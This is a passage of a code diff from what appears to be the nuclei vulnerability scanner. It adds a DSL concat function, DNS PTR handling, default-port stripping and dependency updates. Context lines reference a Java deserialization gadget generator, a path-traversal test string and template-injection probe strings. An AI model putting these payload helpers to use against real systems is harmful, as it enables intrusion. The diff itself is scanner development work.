github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic=
github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e/go.mod h1:pJLUxLENpZxwdsKMEsNbx1VGcRFpLqf3715MtcvvzbA=
github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
@@ -393,6 +397,8 @@ github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
+github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c h1:ncq/mPwQF4JjgDlrVEn3C11VoGHZN7m8qihwgMEtzYw=
+github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c/go.mod h1:OmDBASR4679mdNQnz2pUhc2G8CO2JrUAVFDRBDP/hJE=
github.com/projectdiscovery/blackrock v0.0.0-20210415162320-b38689ae3a2e h1:7bwaFH1jvtOo5ndhTQgoA349ozhX+1dc4b6tbaPnBOA=
github.com/projectdiscovery/blackrock v0.0.0-20210415162320-b38689ae3a2e/go.mod h1:/IsapnEYiWG+yEDPXp0e8NWj3npzB9Ccy9lXEUJwMZs=
github.com/projectdiscovery/clistats v0.0.8 h1:tjmWb15mqsPf/yrQXVHLe2ThZX/5+mgKSfZBKWWLh20=
@@ -400,8 +406,8 @@ github.com/projectdiscovery/clistats v0.0.8/go.mod h1:lV6jUHAv2bYWqrQstqW8iVIydK
github.com/projectdiscovery/cryptoutil v0.0.0-20210805184155-b5d2512f9345 h1:jT6f/cdOpLkp9GAfRrxk57BUjYfIrR8E+AjMv5H5U4U=
github.com/projectdiscovery/cryptoutil v0.0.0-20210805184155-b5d2512f9345/go.mod h1:clhQmPnt35ziJW1AhJRKyu8aygXCSoyWj6dtmZBRjjc=
github.com/projectdiscovery/fastdialer v0.0.12/go.mod h1:RkRbxqDCcCFhfNUbkzBIz/ieD4uda2JuUA4WJ+RLee0=
-github.com/projectdiscovery/fastdialer v0.0.13 h1:BCe7JsFxRk1kAUQcy4X+9lqEuT7Y6LRSlHXfia03XOo=
-github.com/projectdiscovery/fastdialer v0.0.13/go.mod h1:Mex24omi3RxrmhA8Ote7rw+6LWMiaBvbJq8CNp0ksII=
+github.com/projectdiscovery/fastdialer v0.0.14 h1:xTcU8c8wTp+AE92TVLINSCvgXsbF0ITera8HfbU1dok=
+github.com/projectdiscovery/fastdialer v0.0.14/go.mod h1:Mex24omi3RxrmhA8Ote7rw+6LWMiaBvbJq8CNp0ksII=
github.com/projectdiscovery/filekv v0.0.0-20210915124239-3467ef45dd08 h1:NwD1R/du1dqrRKN3SJl9kT6tN3K9puuWFXEvYF2ihew=
github.com/projectdiscovery/filekv v0.0.0-20210915124239-3467ef45dd08/go.mod h1:paLCnwV8sL7ppqIwVQodQrk3F6mnWafwTDwRd7ywZwQ=
github.com/projectdiscovery/fileutil v0.0.0-20210804142714-ebba15fa53ca/go.mod h1:U+QCpQnX8o2N2w0VUGyAzjM3yBAe4BKedVElxiImsx0=
@@ -475,8 +481,8 @@ github.com/segmentio/ksuid v1.0.4 h1:sBo2BdShXjmcugAMwjugoGUdUV0pcxY5mW4xKRn3v4c
github.com/segmentio/ksuid v1.0.4/go.mod h1:/XUiZBD3kVx5SmUOl55voK5yeAbBNNIed+2O73XgrPE=
github.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo=
github.com/shirou/gopsutil/v3 v3.21.7/go.mod h1:RGl11Y7XMTQPmHh8F0ayC6haKNBgH4PXMJuTAcMOlz4=
-github.com/shirou/gopsutil/v3 v3.21.9 h1:Vn4MUz2uXhqLSiCbGFRc0DILbMVLAY92DSkT8bsYrHg=
-github.com/shirou/gopsutil/v3 v3.21.9/go.mod h1:YWp/H8Qs5fVmf17v7JNZzA0mPJ+mS2e9JdiUF9LlKzQ=
+github.com/shirou/gopsutil/v3 v3.21.12 h1:VoGxEW2hpmz0Vt3wUvHIl9fquzYLNpVpgNNB7pGJimA=
+github.com/shirou/gopsutil/v3 v3.21.12/go.mod h1:BToYZVTlSVlfazpDDYFnsVZLaoRG+g8ufT6fPQLdJzA=
github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE=
github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc=
github.com/smartystreets/assertions v1.0.0 h1:UVQPSSmc3qtTi+zPPkCXvZX9VvW/xT/NsRvKfwY81a8=
@@ -565,8 +571,11 @@ github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9de
github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=
-github.com/zclconf/go-cty v1.8.4 h1:pwhhz5P+Fjxse7S7UriBrMu6AUJSZM5pKqGem1PjGAs=
+github.com/yusufpapurcu/wmi v1.2.2 h1:KBNDSne4vP5mbSWnJbO+51IMOXJB67QiYCSBrubbPRg=
+github.com/yusufpapurcu/wmi v1.2.2/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0=
github.com/zclconf/go-cty v1.8.4/go.mod h1:vVKLxnk3puL4qRAv72AO+W99LUD4da90g3uUAzyuvAk=
+github.com/zclconf/go-cty v1.10.0 h1:mp9ZXQeIcN8kAwuqorjH+Q+njbJKjLrvB2yIh4q7U+0=
+github.com/zclconf/go-cty v1.10.0/go.mod h1:vVKLxnk3puL4qRAv72AO+W99LUD4da90g3uUAzyuvAk=
go.etcd.io/bbolt v1.3.5/go.mod h1:G5EMThwa9y8QZGBClrRx5EY+Yw9kAhnjy3bSjsnlVTQ=
go.etcd.io/bbolt v1.3.6 h1:/ecaJf0sk1l4l6V4awd65v2C3ILy7MSj+s/x1ADCIMU=
go.etcd.io/bbolt v1.3.6/go.mod h1:qXsaaIqmgQH0T+OPdb99Bf+PKfBBQVAdyD6TY9G8XM4=
@@ -681,13 +690,12 @@ golang.org/x/net v0.0.0-20210414194228-064579744ee0/go.mod h1:9tjilg8BloeKEkVJvy
golang.org/x/net v0.0.0-20210428140749-89ef3d95e781/go.mod h1:OJAsFXCWl8Ukc7SiCT/9KSuxbyM7479/AVlXFRxuMCk=
golang.org/x/net v0.0.0-20210521195947-fe42d452be8f/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20210525063256-abc453219eb5/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
-golang.org/x/net v0.0.0-20210614182718-04defd469f4e/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20210726213435-c6fcb2dbf985/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20210813160813-60bc85c4be6d/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20210825183410-e898025ed96a/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20210916014120-12bc252f5db8/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
-golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2 h1:CIJ76btIcR3eFI5EgSo6k1qKw9KJexJuRLI9G7Hp5wE=
-golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
+golang.org/x/net v0.0.0-20211216030914-fe4d6282115f h1:hEYJvxw1lSnWIl8X9ofsYMklzaDs90JI2az5YMd4fPM=
+golang.org/x/net v0.0.0-20211216030914-fe4d6282115f/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
golang.org/x/oauth2 v0.0.0-20181106182150-f42d05182288/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
@@ -749,6 +757,7 @@ golang.org/x/sys v0.0.0-20200923182605-d9f96fdee20d/go.mod h1:h1NjWce9XRLGQEsW7w
golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201113233024-12cec1faf1ba/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20201204225414-ed752295db88/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201207223542-d4d67f95c62d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210112080510-489259a85091/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
@@ -764,8 +773,9 @@ golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBc
golang.org/x/sys v0.0.0-20210806184541-e5e7981a1069/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210816074244-15123e1e1f71/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210823070655-63515b42dcdf/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
-golang.org/x/sys v0.0.0-20210831042530-f4d43177bf5e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210915083310-ed5796bab164/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.0.0-20211013075003-97ac67df715c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.0.0-20211124211545-fe61309f8881/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20211210111614-af8b64212486 h1:5hpz5aRr+W1erYCL5JRhSUBJRph7l9XkNveoExlrKYk=
golang.org/x/sys v0.0.0-20211210111614-af8b64212486/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
diff --git a/v2/internal/colorizer/colorizer.go b/v2/internal/colorizer/colorizer.go
index b43bbdb3..f9a32e86 100644
--- a/v2/internal/colorizer/colorizer.go
+++ b/v2/internal/colorizer/colorizer.go
@@ -5,7 +5,6 @@ import (
"github.com/logrusorgru/aurora"
- "github.com/projectdiscovery/gologger"
"github.com/projectdiscovery/nuclei/v2/pkg/model/types/severity"
)
@@ -27,7 +26,6 @@ func GetColor(colorizer aurora.Aurora, templateSeverity fmt.Stringer) string {
case severity.Critical:
method = colorizer.Red
default:
- gologger.Warning().Msgf("The '%s' severity does not have an color associated!", templateSeverity)
method = colorizer.White
}
diff --git a/v2/internal/runner/runner.go b/v2/internal/runner/runner.go
index ce463730..4d8c0148 100644
--- a/v2/internal/runner/runner.go
+++ b/v2/internal/runner/runner.go
@@ -38,6 +38,7 @@ import (
"github.com/projectdiscovery/nuclei/v2/pkg/utils"
"github.com/projectdiscovery/nuclei/v2/pkg/utils/stats"
yamlwrapper "github.com/projectdiscovery/nuclei/v2/pkg/utils/yaml"
+ "github.com/projectdiscovery/stringsutil"
)
// Runner is a client for running the enumeration process.
@@ -345,7 +346,7 @@ func (r *Runner) RunEnumeration() error {
if len(t.Workflows) > 0 {
continue
}
- totalRequests += int64(t.TotalRequests) * r.hmapInputProvider.Count()
+ totalRequests += int64(t.Executer.Requests()) * r.hmapInputProvider.Count()
}
if totalRequests < unclusteredRequests {
gologger.Info().Msgf("Templates clustered: %d (Reduced %d HTTP Requests)", clusterCount, unclusteredRequests-totalRequests)
@@ -452,7 +453,9 @@ func (r *Runner) readNewTemplatesFile() ([]string, error) {
if text == "" {
continue
}
- templatesList = append(templatesList, text)
+ if isNewTemplate(text) {
+ templatesList = append(templatesList, text)
+ }
}
return templatesList, nil
}
@@ -476,11 +479,19 @@ func (r *Runner) countNewTemplates() int {
if text == "" {
continue
}
- count++
+
+ if isNewTemplate(text) {
+ count++
+ }
+
}
return count
}
+func isNewTemplate(filename string) bool {
+ return stringsutil.EqualFoldAny(filepath.Ext(filename), templates.TemplateExtension)
+}
+
// SaveResumeConfig to file
func (r *Runner) SaveResumeConfig() error {
resumeCfg := types.NewResumeCfg()
diff --git a/v2/pkg/catalog/config/config.go b/v2/pkg/catalog/config/config.go
index 283a8d4f..3763fff1 100644
--- a/v2/pkg/catalog/config/config.go
+++ b/v2/pkg/catalog/config/config.go
@@ -27,7 +27,7 @@ type Config struct {
const nucleiConfigFilename = ".templates-config.json"
// Version is the current version of nuclei
-const Version = `2.5.8`
+const Version = `2.5.9`
func getConfigDetails() (string, error) {
homeDir, err := os.UserHomeDir()
diff --git a/v2/pkg/catalog/loader/loader.go b/v2/pkg/catalog/loader/loader.go
index b4eec967..2276445d 100644
--- a/v2/pkg/catalog/loader/loader.go
+++ b/v2/pkg/catalog/loader/loader.go
@@ -13,6 +13,7 @@ import (
templateTypes "github.com/projectdiscovery/nuclei/v2/pkg/templates/types"
"github.com/projectdiscovery/nuclei/v2/pkg/types"
"github.com/projectdiscovery/nuclei/v2/pkg/utils/stats"
+ "github.com/projectdiscovery/nuclei/v2/pkg/workflows"
)
// Config contains the configuration options for the loader
@@ -196,10 +197,31 @@ func areWorkflowOrTemplatesValid(store *Store, filteredTemplatePaths map[string]
return true
}
}
+ if isWorkflow {
+ if !areWorkflowTemplatesValid(store, template.Workflows) {
+ areTemplatesValid = false
+ continue
+ }
+ }
}
return areTemplatesValid
}
+func areWorkflowTemplatesValid(store *Store, workflows []*workflows.WorkflowTemplate) bool {
+ for _, workflow := range workflows {
+ if !areWorkflowTemplatesValid(store, workflow.Subtemplates) {
+ return false
+ }
+ _, err := store.config.Catalog.GetTemplatePath(workflow.Template)
+ if err != nil {
+ if isParsingError("Error occurred loading template %s: %s\n", workflow.Template, err) {
+ return false
+ }
+ }
+ }
+ return true
+}
+
func isParsingError(message string, template string, err error) bool {
if err == templates.ErrCreateTemplateExecutor {
return false
diff --git a/v2/pkg/operators/common/dsl/dsl.go b/v2/pkg/operators/common/dsl/dsl.go
index 03f5da99..343cd36e 100644
--- a/v2/pkg/operators/common/dsl/dsl.go
+++ b/v2/pkg/operators/common/dsl/dsl.go
@@ -160,6 +160,16 @@ func init() {
"contains": makeDslFunction(2, func(args ...interface{}) (interface{}, error) {
return strings.Contains(types.ToString(args[0]), types.ToString(args[1])), nil
}),
+ "concat": makeDslWithOptionalArgsFunction(
+ "(args ...interface{}) string",
+ func(arguments ...interface{}) (interface{}, error) {
+ builder := &strings.Builder{}
+ for _, argument := range arguments {
+ builder.WriteString(types.ToString(argument))
+ }
+ return builder.String(), nil
+ },
+ ),
"regex": makeDslFunction(2, func(args ...interface{}) (interface{}, error) {
compiled, err := regexp.Compile(types.ToString(args[0]))
if err != nil {
diff --git a/v2/pkg/operators/common/dsl/dsl_test.go b/v2/pkg/operators/common/dsl/dsl_test.go
index 946a9b40..c49bffda 100644
--- a/v2/pkg/operators/common/dsl/dsl_test.go
+++ b/v2/pkg/operators/common/dsl/dsl_test.go
@@ -98,6 +98,7 @@ func TestGetPrintableDslFunctionSignatures(t *testing.T) {
expected := ` [93mbase64[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
[93mbase64_decode[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
[93mbase64_py[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
+ [93mconcat[0m(args [38;5;208m...interface{}[0m)[38;5;208m string[0m
[93mcontains[0m(arg1, arg2 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
[93mgenerate_java_gadget[0m(arg1, arg2, arg3 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
[93mgzip[0m(arg1 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m
@@ -161,6 +162,7 @@ func TestDslExpressions(t *testing.T) {
`mmh3("Hello")`: "316307400",
`remove_bad_chars("abcd", "bc")`: "ad",
`replace("Hello", "He", "Ha")`: "Hallo",
+ `concat("Hello", 123, "world")`: "Hello123world",
`repeat("a", 5)`: "aaaaa",
`repeat("a", "5")`: "aaaaa",
`repeat("../", "5")`: "../../../../../",
diff --git a/v2/pkg/operators/matchers/matchers_types.go b/v2/pkg/operators/matchers/matchers_types.go
index 14b5c507..bd881075 100644
--- a/v2/pkg/operators/matchers/matchers_types.go
+++ b/v2/pkg/operators/matchers/matchers_types.go
@@ -83,7 +83,7 @@ func (holder MatcherTypeHolder) JSONSchemaType() *jsonschema.Type {
gotType := &jsonschema.Type{
Type: "string",
Title: "type of the matcher",
- Description: "Type of the matcher,enum=status,enum=size,enum=word,enum=regex,enum=binary,enum=dsl",
+ Description: "Type of the matcher",
}
for _, types := range GetSupportedMatcherTypes() {
gotType.Enum = append(gotType.Enum, types.String())
diff --git a/v2/pkg/protocols/common/expressions/expressions_test.go b/v2/pkg/protocols/common/expressions/expressions_test.go
index f2d5ec1c..668b3b45 100644
--- a/v2/pkg/protocols/common/expressions/expressions_test.go
+++ b/v2/pkg/protocols/common/expressions/expressions_test.go
@@ -14,6 +14,19 @@ func TestEvaluate(t *testing.T) {
}{
{input: "{{url_encode('test}aaa')}}", expected: "test%7Daaa", extra: map[string]interface{}{}},
{input: "{{hex_encode('PING')}}", expected: "50494e47", extra: map[string]interface{}{}},
+ // TODO #1501
+ //{input: "{{hex_encode('{{')}}", expected: "7b7b", extra: map[string]interface{}{}},
+ //{input: `{{concat("{{", 123, "*", 123, "}}")}}`, expected: "{{123*123}}", extra: map[string]interface{}{}},
+ //{input: `{{concat("{{", "123*123", "}}")}}`, expected: "{{123*123}}", extra: map[string]interface{}{}},
+ //{input: `{{"{{" + '123*123' + "}}"}}`, expected: "{{123*123}}", extra: map[string]interface{}{}},
+ {input: `{{concat(123,'*',123)}}`, expected: "123*123", extra: map[string]interface{}{}},
+ {input: `{{1+1}}`, expected: "2", extra: map[string]interface{}{}},
+ {input: `{{"1"+"1"}}`, expected: "11", extra: map[string]interface{}{}},
+ {input: `{{"1" + '*' + "1"}}`, expected: "1*1", extra: map[string]interface{}{}},
+ {input: `{{"a" + 'b' + "c"}}`, expected: "abc", extra: map[string]interface{}{}},
+ {input: `{{10*2}}`, expected: "20", extra: map[string]interface{}{}},
+ {input: `{{10/2}}`, expected: "5", extra: map[string]interface{}{}},
+ {input: `{{10-2}}`, expected: "8", extra: map[string]interface{}{}},
{input: "test", expected: "test", extra: map[string]interface{}{}},
{input: "{{hex_encode(Item)}}", expected: "50494e47", extra: map[string]interface{}{"Item": "PING"}},
{input: "{{hex_encode(Item)}}\r\n", expected: "50494e47\r\n", extra: map[string]interface{}{"Item": "PING"}},
diff --git a/v2/pkg/protocols/common/expressions/variables.go b/v2/pkg/protocols/common/expressions/variables.go
index d064d577..c16a80d2 100644
--- a/v2/pkg/protocols/common/expressions/variables.go
+++ b/v2/pkg/protocols/common/expressions/variables.go
@@ -6,7 +6,7 @@ import (
"strings"
)
-var unresolvedVariablesRegex = regexp.MustCompile(`(?:%7[B|b]|{){2}([^}]+)(?:%7[D|d]|}){2}["')}]*`)
+var unresolvedVariablesRegex = regexp.MustCompile(`(?:%7[B|b]|\{){2}([^}]+)(?:%7[D|d]|\}){2}["'\)\}]*`)
// ContainsUnresolvedVariables returns an error with variable names if the passed
// input contains unresolved {{}} variables.
diff --git a/v2/pkg/protocols/dns/dns.go b/v2/pkg/protocols/dns/dns.go
index 55be679a..31adee9e 100644
--- a/v2/pkg/protocols/dns/dns.go
+++ b/v2/pkg/protocols/dns/dns.go
@@ -1,7 +1,6 @@
package dns
import (
- "net"
"strings"
"github.com/miekg/dns"
@@ -9,6 +8,7 @@ import (
"github.com/weppos/publicsuffix-go/publicsuffix"
+ "github.com/projectdiscovery/iputil"
"github.com/projectdiscovery/nuclei/v2/pkg/operators"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/expressions"
@@ -170,11 +170,21 @@ func (request *Request) Requests() int {
}
// Make returns the request to be sent for the protocol
-func (request *Request) Make(domain string) (*dns.Msg, error) {
- if request.question != dns.TypePTR && net.ParseIP(domain) != nil {
- return nil, errors.New("cannot use IP address as DNS input")
+func (request *Request) Make(host string) (*dns.Msg, error) {
+ isIP := iputil.IsIP(host)
+ switch {
+ case request.question == dns.TypePTR && isIP:
+ var err error
+ host, err = dns.ReverseAddr(host)
+ if err != nil {
+ return nil, err
+ }
+ default:
+ if isIP {
+ return nil, errors.New("cannot use IP address as DNS input")
+ }
+ host = dns.Fqdn(host)
}
- domain = dns.Fqdn(domain)
// Build a request on the specified URL
req := new(dns.Msg)
@@ -183,7 +193,7 @@ func (request *Request) Make(domain string) (*dns.Msg, error) {
var q dns.Question
- final := replacer.Replace(request.Name, generateDNSVariables(domain))
+ final := replacer.Replace(request.Name, GenerateDNSVariables(host))
q.Name = dns.Fqdn(final)
q.Qclass = request.class
@@ -250,7 +260,8 @@ func classToInt(class string) uint16 {
return uint16(result)
}
-func generateDNSVariables(domain string) map[string]interface{} {
+// GenerateDNSVariables from a dns name
+func GenerateDNSVariables(domain string) map[string]interface{} {
parsed, err := publicsuffix.Parse(strings.TrimSuffix(domain, "."))
if err != nil {
return map[string]interface{}{"FQDN": domain}
diff --git a/v2/pkg/protocols/dns/dns_test.go b/v2/pkg/protocols/dns/dns_test.go
index 0aae3ed2..d5bfbdb1 100644
--- a/v2/pkg/protocols/dns/dns_test.go
+++ b/v2/pkg/protocols/dns/dns_test.go
@@ -11,7 +11,7 @@ import (
)
func TestGenerateDNSVariables(t *testing.T) {
- vars := generateDNSVariables("www.projectdiscovery.io")
+ vars := GenerateDNSVariables("www.projectdiscovery.io")
require.Equal(t, map[string]interface{}{
"FQDN": "www.projectdiscovery.io",
"RDN": "projectdiscovery.io",
diff --git a/v2/pkg/protocols/dns/dns_types.go b/v2/pkg/protocols/dns/dns_types.go
index d61d9b6d..dc0a22d2 100644
--- a/v2/pkg/protocols/dns/dns_types.go
+++ b/v2/pkg/protocols/dns/dns_types.go
@@ -87,7 +87,7 @@ func (holder DNSRequestTypeHolder) JSONSchemaType() *jsonschema.Type {
gotType := &jsonschema.Type{
Type: "string",
Title: "type of DNS request to make",
- Description: "Type is the type of DNS request to make,enum=A,enum=NS,enum=DS,enum=CNAME,enum=SOA,enum=PTR,enum=MX,enum=TXT,enum=AAAA",
+ Description: "Type is the type of DNS request to make",
}
for _, types := range GetSupportedDNSRequestTypes() {
gotType.Enum = append(gotType.Enum, types.String())
diff --git a/v2/pkg/protocols/headless/engine/action_types.go b/v2/pkg/protocols/headless/engine/action_types.go
index 03fcf2e5..21277d02 100644
--- a/v2/pkg/protocols/headless/engine/action_types.go
+++ b/v2/pkg/protocols/headless/engine/action_types.go
@@ -175,7 +175,7 @@ func (holder ActionTypeHolder) JSONSchemaType() *jsonschema.Type {
gotType := &jsonschema.Type{
Type: "string",
Title: "action to perform",
- Description: "Type of actions to perform,enum=navigate,enum=script,enum=click,enum=rightclick,enum=text,enum=screenshot,enum=time,enum=select,enum=files,enum=waitload,enum=getresource,enum=extract,enum=setmethod,enum=addheader,enum=setheader,enum=deleteheader,enum=setbody,enum=waitevent,enum=keyboard,enum=debug,enum=sleep",
+ Description: "Type of actions to perform",
}
for _, types := range GetSupportedActionTypes() {
gotType.Enum = append(gotType.Enum, types.String())
diff --git a/v2/pkg/protocols/http/build_request.go b/v2/pkg/protocols/http/build_request.go
index 44622f10..92dd1577 100644
--- a/v2/pkg/protocols/http/build_request.go
+++ b/v2/pkg/protocols/http/build_request.go
@@ -20,6 +20,7 @@ import (
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/expressions"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/generators"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/replacer"
+ "github.com/projectdiscovery/nuclei/v2/pkg/protocols/dns"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/http/race"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/http/raw"
"github.com/projectdiscovery/nuclei/v2/pkg/types"
@@ -335,6 +336,15 @@ func (r *requestGenerator) fillRequest(req *http.Request, values map[string]inte
setHeader(req, "Accept", "*/*")
setHeader(req, "Accept-Language", "en")
}
+
+ if !LeaveDefaultPorts {
+ switch {
+ case req.URL.Scheme == "http" && strings.HasSuffix(req.Host, ":80"):
+ req.Host = strings.TrimSuffix(req.Host, ":80")
+ case req.URL.Scheme == "https" && strings.HasSuffix(req.Host, ":443"):
+ req.Host = strings.TrimSuffix(req.Host, ":443")
+ }
+ }
return retryablehttp.FromRequest(req)
}
@@ -377,7 +387,7 @@ func generateVariables(parsed *url.URL, trailingSlash bool) map[string]interface
if base == "." {
base = ""
}
- return map[string]interface{}{
+ httpVariables := map[string]interface{}{
"BaseURL": parsed.String(),
"RootURL": fmt.Sprintf("%s://%s", parsed.Scheme, parsed.Host),
"Hostname": parsed.Host,
@@ -387,4 +397,5 @@ func generateVariables(parsed *url.URL, trailingSlash bool) map[string]interface
"File": base,
"Scheme": parsed.Scheme,
}
+ return generators.MergeMaps(httpVariables, dns.GenerateDNSVariables(domain))
}
diff --git a/v2/pkg/protocols/http/http.go b/v2/pkg/protocols/http/http.go
index 7ac9b36f..54f56793 100644
--- a/v2/pkg/protocols/http/http.go
+++ b/v2/pkg/protocols/http/http.go
@@ -298,7 +298,13 @@ func (request *Request) Compile(options *protocols.ExecuterOptions) error {
// Requests returns the total number of requests the YAML rule will perform
func (request *Request) Requests() int {
if request.generator != nil {
- payloadRequests := request.generator.NewIterator().Total() * len(request.Raw)
+ payloadRequests := request.generator.NewIterator().Total()
+ if len(request.Raw) > 0 {
+ payloadRequests = payloadRequests * len(request.Raw)
+ }
+ if len(request.Path) > 0 {
+ payloadRequests = payloadRequests * len(request.Path)
+ }
return payloadRequests
}
if len(request.Raw) > 0 {
diff --git a/v2/pkg/protocols/http/http_method_types.go b/v2/pkg/protocols/http/http_method_types.go
index 68dd50b7..6b63175f 100644
--- a/v2/pkg/protocols/http/http_method_types.go
+++ b/v2/pkg/protocols/http/http_method_types.go
@@ -33,6 +33,8 @@ const (
HTTPPatch
// name:PURGE
HTTPPurge
+ // name:Debug
+ HTTPDebug
limit
)
@@ -48,6 +50,7 @@ var HTTPMethodMapping = map[HTTPMethodType]string{
HTTPTrace: "TRACE",
HTTPPatch: "PATCH",
HTTPPurge: "PURGE",
+ HTTPDebug: "DEBUG",
}
// GetSupportedHTTPMethodTypes returns list of supported types
@@ -90,7 +93,7 @@ func (holder HTTPMethodTypeHolder) JSONSchemaType() *jsonschema.Type {
gotType := &jsonschema.Type{
Type: "string",
Title: "method is the HTTP request method",
- Description: "Method is the HTTP Request Method,enum=GET,enum=HEAD,enum=POST,enum=PUT,enum=DELETE,enum=CONNECT,enum=OPTIONS,enum=TRACE,enum=PATCH,enum=PURGE",
+ Description: "Method is the HTTP Request Method",
}
for _, types := range GetSupportedHTTPMethodTypes() {
gotType.Enum = append(gotType.Enum, types.String())
diff --git a/v2/pkg/protocols/http/request.go b/v2/pkg/protocols/http/request.go
index 32ca595b..c4dccaf9 100644
--- a/v2/pkg/protocols/http/request.go
+++ b/v2/pkg/protocols/http/request.go
@@ -457,7 +457,7 @@ func (request *Request) executeRequest(reqURL string, generatedRequest *generate
}()
var curlCommand string
